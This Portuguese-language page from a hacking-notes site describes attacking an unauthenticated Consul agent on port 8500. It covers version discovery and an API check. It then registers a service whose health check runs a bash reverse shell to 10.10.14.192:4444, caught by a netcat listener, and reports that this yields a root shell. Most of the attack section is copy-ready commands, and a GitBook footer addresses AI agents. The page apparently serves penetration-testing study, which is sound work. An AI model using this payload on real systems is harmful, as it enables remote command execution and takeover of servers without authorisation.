> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/ports-and-services/consul-8500.md).

# Consul - 8500

### Descoberta da porta 8500 (Consul)

Porta **8500** expõe a interface web do Consul.

<figure><img src="/files/0e21801efc84239813e8822f74378b903ae8fe12" alt=""><figcaption></figcaption></figure>

Após consultar `127.0.0.1:8500/ui/`, versão do Consul **1.19.2** é encontrada.

```bash
curl 127.0.0.1:8500/ui/
```

<figure><img src="/files/249bf23b5f9ef83d9033de8e22dce29ccc096e46" alt=""><figcaption></figcaption></figure>

#### Verificando o acesso à API REST

Teste se a API REST do Consul está acessível sem autenticação:

```bash
curl http://127.0.0.1:8500/v1/agent/self
```

A resposta confirma que a API está exposta.

### Exploração por meio de uma verificação maliciosa

{% embed url="<https://www.exploit-db.com/exploits/51117>" %}

Registre um serviço com uma verificação maliciosa que executa uma reverse shell em bash:

```bash
nc -lvnp 4444
```

#### Registrando um serviço com uma verificação maliciosa

O Consul permite o registro dinâmico de serviços por meio de requisições HTTP. Abuse esse comportamento para criar uma verificação que executa um comando bash.

```bash
curl -X PUT http://127.0.0.1:8500/v1/agent/service/register -d '{
  "Name": "pwned",
  "ID": "pwned",
  "Check": {
    "Args": ["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.14.192/4444 0>&1"],
    "Interval": "10s"
  }
}'
```

Comportamento da carga útil:

* `Check.Args[]`: contém um comando bash que abre uma **shell reverso**.
* `Interval`: define uma execução automática a cada 10 segundos.

Executar esta carga útil retorna um shell de root.

<figure><img src="/files/f26749ee21525a8171fc1f7c04c4299ea00309de" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/ports-and-services/consul-8500.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
